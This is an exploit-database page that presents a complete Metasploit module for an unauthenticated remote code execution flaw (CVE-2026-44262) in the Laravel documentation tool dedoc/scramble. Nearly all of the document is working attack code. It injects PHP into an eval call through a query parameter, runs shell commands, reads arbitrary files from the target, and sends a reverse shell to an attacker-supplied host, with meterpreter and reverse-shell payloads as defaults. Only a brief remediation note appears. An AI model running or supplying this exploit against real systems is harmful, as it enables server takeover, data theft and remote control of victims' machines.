Share
## https://sploitus.com/exploit?id=PACKETSTORM:223657
==================================================================================================================================
| # Title : dedoc/scramble 0.13.2 Unauthenticated Remote Code Execution Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://laravel.com |
==================================================================================================================================
[+] Summary : This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution (RCE) vulnerability in the Laravel-based tool dedoc/scramble.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'dedoc/scramble Unauthenticated Remote Code Execution',
'Description' => %q{
CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability
in dedoc/scramble, a Laravel API documentation generator.
The vulnerability exists in NodeRulesEvaluator::doEvaluateExpression()
which calls extract($variables) before eval("return $code;"). When a
controller assigns `$request->input()` to a variable named `$code` and
uses it as a validation rule, Scramble tracks that variable and passes
it into the eval scope. An attacker can overwrite $code with arbitrary
PHP by supplying a crafted query parameter to `/docs/api.json`.
This module provides detection and exploitation capabilities including
command execution, file read, and reverse shell.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-44262'],
['URL', 'https://github.com/joshuavanderpoll/CVE-2026-44262'],
['URL', 'https://github.com/advisories/GHSA-4rm2-28vj-fj39'],
['URL', 'https://scramble.dedoc.co']
],
'DisclosureDate' => '2026-05-07',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for docs', '/docs/api']),
OptString.new('DOCS_PATH', [false, 'Full path to api.json (auto-detected if not set)']),
OptString.new('PARAM', [false, 'Vulnerable parameter name (auto-detected if not set)']),
OptInt.new('SLEEP_SECONDS', [false, 'Sleep seconds for timing detection', 4]),
OptEnum.new('ACTION', [true, 'Action to perform', 'DETECT', ['DETECT', 'EXECUTE', 'READ_FILE', 'SHELL']]),
OptString.new('READ_FILE', [false, 'File to read (when ACTION=READ_FILE)']),
OptBool.new('FORCE_OS', [false, 'Force OS detection bypass', false])
])
end
def docs_api_url
if datastore['DOCS_PATH'] && !datastore['DOCS_PATH'].empty?
path = datastore['DOCS_PATH']
else
base_path = datastore['TARGETURI'].chomp('.json')
path = base_path + '.json'
end
normalize_uri(target_uri.path, path)
end
def docs_ui_url
base_path = datastore['TARGETURI'].chomp('.json')
normalize_uri(target_uri.path, base_path)
end
def get_openapi_spec
res = send_request_cgi(
'method' => 'GET',
'uri' => docs_api_url
)
if res && res.code == 200
begin
return JSON.parse(res.body)
rescue JSON::ParserError
return nil
end
end
nil
end
def find_vulnerable_parameters(spec)
vulnerable = []
return vulnerable unless spec && spec['paths']
rule_pattern = /^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)/i
spec['paths'].each do |path, methods|
methods.each do |method, details|
next unless details['parameters']
details['parameters'].each do |param|
next unless param['in'] == 'query'
schema = param['schema'] || {}
default = schema['default'].to_s
if default =~ rule_pattern || default.include?('|')
vulnerable << {
'path' => path,
'param' => param['name'],
'method' => method.upcase
}
end
end
end
end
vulnerable
end
def get_server_info
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
info = {}
if res
info['server'] = res.headers['Server'] if res.headers['Server']
info['x_powered_by'] = res.headers['X-Powered-By'] if res.headers['X-Powered-By']
if res.body && res.body.include?('laravel')
version_match = res.body.match(/Laravel v?(\d+\.\d+\.\d+)/i)
info['laravel_version'] = version_match[1] if version_match
end
end
info
end
def detect_os(param)
print_status('Detecting target operating system...')
payload = 'print(php_uname("s"))'
output = execute_php_code(param, payload)
if output
os_lower = output.strip.downcase
if os_lower.include?('windows')
@target_os = 'windows'
elsif os_lower.include?('linux')
@target_os = 'linux'
elsif os_lower.include?('darwin')
@target_os = 'darwin'
else
@target_os = os_lower
end
print_good("Detected OS: #{@target_os}")
else
@target_os = 'unknown'
print_warning('Could not detect OS, assuming Unix-like')
end
end
def is_windows?
@target_os == 'windows'
end
def build_attack_url(param, payload)
query = { param => payload }
"#{docs_api_url}?#{query.to_query}"
end
def send_payload(param, payload, timeout = nil)
url = build_attack_url(param, payload)
opts = { 'method' => 'GET', 'uri' => url }
opts['timeout'] = timeout if timeout
send_request_cgi(opts)
end
def capture_output(param, payload)
res = send_payload(param, payload)
if res && res.body
# Output appears before JSON start
json_start = res.body.index('{')
if json_start && json_start > 0
return res.body[0...json_start].strip
elsif json_start == 0
return nil
else
return res.body.strip
end
end
nil
end
def execute_php_code(param, code)
wrapped = "(function(){ #{code} })()"
capture_output(param, wrapped)
end
def execute_command(param, cmd)
cmd_with_stderr = cmd.include?('2>') ? cmd : "#{cmd} 2>&1"
execute_php_code(param, "print(shell_exec(#{cmd_with_stderr.inspect}))")
end
def read_file(param, filepath)
execute_php_code(param, "print(file_get_contents(#{filepath.inspect}))")
end
def timing_probe(param, sleep_seconds)
print_status("Timing probe with sleep(#{sleep_seconds}) via param '#{param}'")
start = Time.now
send_payload(param, '')
baseline = Time.now - start
print_status("Baseline: #{'%.2f' % baseline}s")
start = Time.now
send_payload(param, "sleep(#{sleep_seconds})", sleep_seconds + datastore['WfsDelay'])
elapsed = Time.now - start
delay = elapsed - baseline
print_status("Attack response: #{'%.2f' % elapsed}s (delay: #{'%+.2f' % delay}s)")
triggered = delay >= (sleep_seconds * 0.75)
if triggered
print_good("VULNERABLE โ response delayed ~#{sleep_seconds}s")
else
print_error("Not triggered (no significant delay)")
end
triggered
end
def exec_probe(param)
print_status("Command execution probe via param '#{param}'")
cmd = is_windows? ? 'whoami' : 'id 2>&1'
output = execute_command(param, cmd)
if output && !output.empty?
print_good("VULNERABLE โ command output captured:")
print_line(output)
return true
else
print_error("No command output in response")
return false
end
end
def detect_vulnerability
print_status("Checking for vulnerable Scramble instance at #{docs_api_url}")
res = send_request_cgi('method' => 'GET', 'uri' => docs_api_url)
unless res && res.code == 200
print_error("Docs API not accessible (HTTP #{res&.code || 'no response'})")
return false
end
print_good("Docs API accessible")
spec = get_openapi_spec
unless spec
print_error("Failed to parse OpenAPI spec")
return false
end
if spec['info']
print_status("API Title: #{spec['info']['title']}") if spec['info']['title']
print_status("API Version: #{spec['info']['version']}") if spec['info']['version']
end
@vulnerable_params = find_vulnerable_parameters(spec)
if @vulnerable_params.empty?
print_error("No potentially vulnerable parameters found in spec")
return false
end
print_good("Found #{@vulnerable_params.length} potentially vulnerable parameter(s):")
@vulnerable_params.each do |vp|
print_status(" #{vp['method']} #{vp['path']} โ param '#{vp['param']}'")
end
true
end
def exploit_command(param, cmd)
print_status("Executing command: #{cmd}")
output = execute_command(param, cmd)
if output && !output.empty?
print_good("Command output:")
print_line(output)
return true
else
print_error("No output received")
return false
end
end
def exploit_read_file(param, filepath)
print_status("Reading file: #{filepath}")
content = read_file(param, filepath)
if content && !content.empty?
print_good("File contents:")
print_line(content)
store_loot(
'scramble.file',
'text/plain',
datastore['RHOST'],
content,
File.basename(filepath),
"File read from target: #{filepath}"
)
return true
else
print_error("Failed to read file (may not exist or not readable)")
return false
end
end
def exploit_reverse_shell(param, lhost, lport)
print_status("Preparing reverse shell to #{lhost}:#{lport}")
print_status("Ensure listener is running: nc -lvnp #{lport}")
shell_bin = is_windows? ? 'cmd.exe' : '/bin/sh'
php_payload = <<~PHP
(function(){
$s=@fsockopen('#{lhost}',#{lport},$e,$m,30);
if(!$s)return;
$p=proc_open('#{shell_bin}',array(0=>$s,1=>$s,2=>$s),$pipes);
if($p)proc_close($p);
fclose($s);
})()
PHP
print_status("Sending reverse shell payload...")
send_payload(param, php_payload, 3600)
print_good("Reverse shell payload sent. Check your listener.")
true
end
def exploit_php_code(param, code)
print_status("Executing PHP code: #{code}")
output = execute_php_code(param, code)
if output && !output.empty?
print_good("PHP code output:")
print_line(output)
return true
else
print_warning("No output from PHP code")
return true
end
end
def check
print_status("CVE-2026-44262 - dedoc/scramble RCE Check")
unless detect_vulnerability
return CheckCode::Safe("No vulnerable parameters found")
end
param = @vulnerable_params.first['param']
if timing_probe(param, datastore['SLEEP_SECONDS'])
return CheckCode::Vulnerable("Timing probe confirmed RCE")
else
return CheckCode::Appears("Potentially vulnerable, but timing probe failed")
end
end
def exploit
print_status("CVE-2026-44262 - dedoc/scramble RCE Exploit")
unless detect_vulnerability
fail_with(Failure::NotFound, "No vulnerable parameters found")
end
param = @vulnerable_params.first['param']
print_good("Using vulnerable parameter: #{param}")
unless datastore['FORCE_OS']
detect_os(param)
end
case datastore['ACTION']
when 'EXECUTE'
cmd = datastore['PAYLOAD'] ? payload.encoded : "id"
exploit_command(param, cmd)
when 'READ_FILE'
filepath = datastore['READ_FILE']
if filepath.nil? || filepath.empty?
fail_with(Failure::BadConfig, "READ_FILE path required for ACTION=READ_FILE")
end
exploit_read_file(param, filepath)
when 'SHELL'
lhost = datastore['LHOST']
lport = datastore['LPORT']
if lhost.nil? || lport.nil?
fail_with(Failure::BadConfig, "LHOST and LPORT required for reverse shell")
end
exploit_reverse_shell(param, lhost, lport)
else
print_status("\n[*] Running timing detection...")
timing_result = timing_probe(param, datastore['SLEEP_SECONDS'])
print_status("\n[*] Running command execution probe...")
exec_result = exec_probe(param)
print_status("\n" + "=" * 65)
print_status("SUMMARY")
print_status("=" * 65)
print_status("Target: #{peer}")
print_status("Vuln param: #{param}")
print_status("Timing probe: #{timing_result ? 'TRIGGERED' : 'clean'}")
print_status("Exec probe: #{exec_result ? 'TRIGGERED' : 'clean'}")
if timing_result || exec_result
print_good("\n*** VULNERABLE โ RCE confirmed ***")
print_status("\nRemediation:")
print_status(" 1. Update Scramble: composer require dedoc/scramble:^0.13.22")
print_status(" 2. Restrict docs access with middleware")
print_status(" 3. Disable docs in production")
else
print_status("\nNot exploitable via this vector")
end
print_status("=" * 65)
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================